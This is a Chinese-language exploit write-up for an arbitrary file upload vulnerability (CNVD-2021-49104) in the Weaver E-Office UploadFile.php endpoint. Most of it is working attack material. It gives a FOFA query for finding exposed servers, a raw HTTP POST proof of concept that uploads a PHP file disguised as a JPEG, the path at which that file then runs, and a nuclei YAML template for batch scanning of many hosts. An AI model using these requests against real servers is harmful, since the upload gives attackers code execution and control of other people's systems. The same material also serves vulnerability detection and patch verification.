泛微E-Office UploadFile.php任意文件上传漏洞 CNVD-2021-49104

漏洞描述

在/general/index/UploadFile.php中上传文件过滤不严格导致允许无限制地上传文件，攻击者可以通过该漏洞直接获取网站权限

漏洞复现

fofa语法：app="泛微-EOffice"
登录页面如下：

POC：

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
Content-Type:multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
Content-Length: 192

--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg

<?php phpinfo();?>

--e64bdf16c554bbc109cecef6451c26a4--

再访问/images/logo/logo-eoffice.php

nuclei批量yaml文件

id: CNVD-2021-49104

info:
  name: Pan Micro E-office File Uploads
  author: pikpikcu
  severity: critical
  description: The Pan Wei Micro E-office version running allows arbitrary file uploads from a remote attacker.
  reference:
    - https://chowdera.com/2021/12/202112200602130067.html
    - http://v10.e-office.cn
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L
    cvss-score: 9.9
    cwe-id: CWE-434
  remediation: Pan Wei has released an update to resolve this vulnerability.
  tags: pan,micro,cnvd,cnvd2021,fileupload,intrusive
  metadata:
    max-request: 2

http:
  - raw:
      - |
        POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4

        --e64bdf16c554bbc109cecef6451c26a4
        Content-Disposition: form-data; name="Filedata"; filename="{{randstr}}.php"
        Content-Type: image/jpeg

        <?php echo md5('CNVD-2021-49104');?>

        --e64bdf16c554bbc109cecef6451c26a4--

      - |
        GET /images/logo/logo-eoffice.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "94d01a2324ce38a2e29a629c54190f67"

      - type: status
        status:
          - 200